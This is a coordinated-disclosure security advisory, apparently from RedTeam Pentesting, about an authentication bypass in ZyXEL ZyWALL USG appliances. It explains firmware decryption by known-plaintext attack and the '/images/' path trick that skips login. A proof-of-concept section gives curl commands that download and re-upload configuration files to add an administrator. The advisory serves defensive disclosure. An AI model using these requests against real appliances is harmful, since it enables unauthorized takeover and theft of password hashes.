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Authentication Bypass in Configuration Import and Export of ZyXEL ZyWALL USG Appliances

Unauthenticated users with access to the management web interface of certain ZyXEL ZyWALL USG appliances can download and upload configuration files, that are applied automatically.


Details
=======

Product: ZyXEL USG (Unified Security Gateway) appliances
ZyWALL USG-20
ZyWALL USG-20W
ZyWALL USG-50
ZyWALL USG-100
ZyWALL USG-200
ZyWALL USG-300
ZyWALL USG-1000
ZyWALL USG-1050
ZyWALL USG-2000
Possibly other ZLD-based products
Affected Versions: Firmware Releases before April 25, 2011
Fixed Versions: Firmware Releases from or after April 25, 2011
Vulnerability Type: Authentication Bypass
Security Risk: high
Vendor URL: http://www.zyxel.com/
Vendor Status: fixed version released
Advisory URL: http://www.redteam-pentesting.de/advisories/rt-sa-2011-003
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH


Introduction
============

``The ZyWALL USG (Unified Security Gateway) Series is the "third generation" ZyWALL featuring an all-new platform. It provides greater performance protection, as well as a deep packet inspection security solution for small businesses to enterprises alike. It embodies a Stateful Packet Inspection (SPI) firewall, Anti-Virus, Intrusion Detection and Prevention (IDP), Content Filtering, Anti-Spam, and VPN (IPSec/SSL/L2TP) in one box. This multilayered security safeguards your organization's customer and company records, intellectual property, and critical resources from external and internal threats.'' 

(From the vendor's homepage)


More Details
============

During a penetration test, a ZyXEL ZyWALL USG appliance was found and tested for security vulnerabilities.  The following sections first describe, how the appliance's filesystem can be extracted from the encrypted firmware upgrade zip files.  Afterwards it is shown, how arbitrary configuration files can be up- and downloaded from the appliance.  This way, a custom user account with a chosen password can be added to the running appliance without the need of a reboot. 


Decrypting the ZyWALL Firmware Upgrade Files
--------------------------------------------

Firmware upgrade files for ZyXEL ZyWALL USG appliances consist of a
regularly compressed zip file, which contains, among others, two
encrypted zip files with the main firmware.  For example, the current
firmware version 2.21(BQD.2) for the ZyWALL USG 20 ("ZyWALL USG
20_2.21(BDQ.2)C0.zip") contains the following files:

-rw-r--r-- 1 user user 43116374 Sep 30  2010 221BDQ2C0.bin
-rw-r--r-- 1 user user     7354 Sep 30  2010 221BDQ2C0.conf
-rw-r--r-- 1 user user    28395 Sep 30  2010 221BDQ2C0.db
-rw-r--r-- 1 user user   703402 Oct 12 17:48 221BDQ2C0.pdf
-rw-r--r-- 1 user user  3441664 Sep 30  2010 221BDQ2C0.ri
-rw-r--r-- 1 user user      231 Sep 30  2010 firmware.xml

The files 221BDQ2C0.bin and 221BDQ2C0.db are encrypted zip files that
require a password for decompression.  Listing the contents is
possible:

$ unzip -l 221BDQ2C0.bin
Archive:  221BDQ2C0.bin
Length      Date    Time    Name
---------  ---------- -----   ----
40075264  2010-09-15 06:32   compress.img
0  2010-09-30 04:48   db/
0  2010-09-30 04:48   db/etc/
0  2010-09-30 04:48   db/etc/zyxel/
0  2010-09-30 04:48   db/etc/zyxel/ftp/
0  2010-09-30 04:48   db/etc/zyxel/ftp/conf/
20  2010-09-14 14:46   db/etc/zyxel/ftp/conf/htm-default.conf
7354  2010-09-14 14:46   db/etc/zyxel/ftp/conf/system-default.conf
0  2010-09-30 04:48   etc_writable/
0  2010-09-30 04:48   etc_writable/budget/
0  2010-09-14 15:08   etc_writable/budget/budget.conf
0  2010-09-15 06:28   etc_writable/firmware-upgraded
81  2010-09-14 15:09   etc_writable/myzyxel_info.conf
243  2010-09-14 15:03   etc_writable/tr069ta.conf
0  2010-09-30 04:48   etc_writable/zyxel/
0  2010-09-30 04:48   etc_writable/zyxel/conf/
996  2010-09-15 06:28   etc_writable/zyxel/conf/__eps_checking_default.xml
42697  2010-09-14 14:46   etc_writable/zyxel/conf/__system_default.xml
95  2010-09-30 04:48   filechecksum
1023  2010-09-30 04:48   filelist
336  2010-09-30 04:48   fwversion
50  2010-09-15 06:34   kernelchecksum
3441664  2010-09-30 04:48   kernelusg20.bin
0  2010-09-14 14:46   wtp_image/
---------                     -------
43569823                     24 files

$ unzip -l 221BDQ2C0.db
Archive:  221BDQ2C0.db
Length      Date    Time    Name
---------  ---------- -----   ----
0  2009-07-29 04:44   db_remove_lst
0  2010-09-15 06:28   etc/
0  2010-09-15 06:35   etc/idp/
39  2010-09-14 16:08   etc/idp/all.conf
25  2010-09-14 16:08   etc/idp/attributes.txt
639  2010-09-14 16:08   etc/idp/attributes_self.txt
277  2010-09-14 16:08   etc/idp/device.conf
39  2010-09-14 16:08   etc/idp/dmz.conf
39  2010-09-14 16:08   etc/idp/lan.conf
39  2010-09-14 16:08   etc/idp/none.conf
60581  2010-09-14 16:08   etc/idp/self.ref
5190  2010-09-14 16:08   etc/idp/self.rules
0  2010-09-14 16:08   etc/idp/update.ref
0  2010-09-14 16:08   etc/idp/update.rules
39  2010-09-14 16:08   etc/idp/wan.conf
445075  2010-09-14 16:08   etc/idp/zyxel.ref
327  2010-09-14 16:08   etc/idp/zyxel.rules
0  2010-09-14 16:05   etc/zyxel/
0  2010-09-15 06:35   etc/zyxel/ftp/
0  2010-09-15 06:35   etc/zyxel/ftp/.dha/
0  2010-09-15 06:35   etc/zyxel/ftp/.dha/dha_idp/
0  2010-09-15 06:35   etc/zyxel/ftp/cert/
0  2010-09-15 06:35   etc/zyxel/ftp/cert/trusted/
0  2010-09-15 06:35   etc/zyxel/ftp/conf/
20  2010-09-14 14:46   etc/zyxel/ftp/conf/htm-default.conf
7354  2010-09-14 14:46   etc/zyxel/ftp/conf/system-default.conf
0  2010-09-15 06:35   etc/zyxel/ftp/dev/
0  2010-09-15 06:35   etc/zyxel/ftp/idp/
0  2010-09-15 06:35   etc/zyxel/ftp/packet_trace/
0  2010-09-15 06:35   etc/zyxel/ftp/script/
1256  2010-09-15 06:35   filelist
---------                     -------
520939                     31 files

During a penetration test it was discovered that the file
"221BDQ2C0.conf" (from the unencrypted firmware zip file) has exactly
the same size as the file "system-default.conf" contained in each
encrypted zip.  This can be successfully used for a known-plaintext
attack[1] against these files, afterwards the decrypted zip-files can be
extracted.  However, please note that this attack only allows decrypting
the encrypted zip files, the password used for encrypting the files in
the first place is not revealed.

Among others, the following programs implement this attack:

* PkCrack by Peter Conrad [2]
* Elcomsoft Advanced Archive Password Recovery [3]

Afterwards, the file "compress.img" from "221BDQ2C0.bin" can be
decompressed (e.g. by using the program "unsquashfs"), revealing the
filesystem for the appliance.


Web-Interface Authentication Bypass
-----------------------------------

ZyWALL USG appliances can be managed over a web-based administrative interface offered by an Apache http server.  The interface requires authentication prior to any actions, only some static files can be requested without authentication.

A custom Apache module "mod_auth_zyxel.so" implements the authentication, it is configured in etc/service_conf/httpd.conf in the firmware (see above). Several Patterns are configured with the directive "AuthZyxelSkipPattern", all URLs matching one of these patterns can be accessed without authentication:

AuthZyxelSkipPattern /images/ /weblogin.cgi /I18N.js /language 

The administrative interface consists of several programs which are called as CGI scripts. For example, accessing the following URL after logging in with an admin account delivers the current startup configuration file:

https://192.168.0.1/cgi-bin/export-cgi?category=config&arg0=startup-config.conf

The Apache httpd in the standard configuration allows appending arbitrary paths to CGI scripts. The server saves the extra path in the environment variable PATH_INFO and executes the CGI script (this can be disabled by setting "AcceptPathInfo" to "off"[4]). Therefore, appending the string "/images/" and requesting the following URL also executes the "export-cgi" script and outputs the current configuration file:

https://192.168.0.1/cgi-bin/export-cgi/images/?category=config&arg0=startup-config.conf

During the penetration test it was discovered that for this URL, no authentication is necessary (because the string "/images/" is included in the path-part of the URL) and arbitrary configuration files can be downloaded. The file "startup-config.conf" can contain sensitive data like firewall rules and hashes of user passwords. Other interesting config-file names are "lastgood.conf" and "systemdefault.conf". 

The administrative interface furthermore allows uploading of configuration files with the "file_upload-cgi" script.  Applying the same trick (appending "/images/"), arbitrary configuration files can be uploaded without any authentication.  When the chosen config-file name is set to "startup-config.conf", the appliance furthermore applies all settings directly after uploading.  This can be used to add a second administrative user with a self-chosen password and take over the appliance.


Proof of Concept
================

The current startup-config.conf file from a ZyWALL USG appliance can be downloaded by accessing the following URL, e.g. with the program cURL:

$ curl --silent -o startup-config.conf \
"https://192.168.0.1/cgi-bin/export-cgi/images/?category=config&arg0=startup-config.conf"

This file can be re-uploaded (e.g. after adding another administrative user) with the following command, the parameter "ext-comp-1121" may need to be adjusted:

$ curl --silent -F ext-comp-1121=50 -F file_type=config -F nv=1 \ -F "file_path=@startup-config.conf;filename=startup-config.conf" \ https://192.168.0.1/cgi-bin/file_upload-cgi/images/


Workaround
==========

If possible, disable the web-based administrative interface or else ensure that the interface is not exposed to attackers.


Fix
===

Upgrade to a firmware released on or after April 25, 2011. 


Security Risk
=============

Any attackers who are able to access the administrative interface of vulnerable ZyWALL USG appliances can read and write arbitrary configuration files, thus compromising the complete appliance.  Therefore the risk is estimated as high.


History
=======

2011-03-07 Vulnerability identified
2011-04-06 Customer approved disclosure to vendor
2011-04-07 Vendor notified
2011-04-07 First reactions of vendor, issue is being investigated
2011-04-08 Meeting with vendor
2011-04-15 Vulnerability fixed by vendor
2011-04-18 Test appliance and beta firmware supplied to
RedTeam Pentesting, fix verified
2011-04-25 Vendor released new firmwares with fix
2011-04-29 Vendor confirms that other ZLD-based devices may also be
affected
2011-05-04 Advisory released

RedTeam Pentesting likes to thank ZyXEL for the fast response and professional collaboration.


References
==========

[1] ftp://utopia.hacktic.nl/pub/crypto/cracking/pkzip.ps.gz
[2] http://www.unix-ag.uni-kl.de/~conrad/krypto/pkcrack.html
[3] http://www.elcomsoft.com/archpr.html
[4] http://httpd.apache.org/docs/2.0/mod/core.html#acceptpathinfo


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests, short pentests, performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.

More information about RedTeam Pentesting can be found at http://www.redteam-pentesting.de.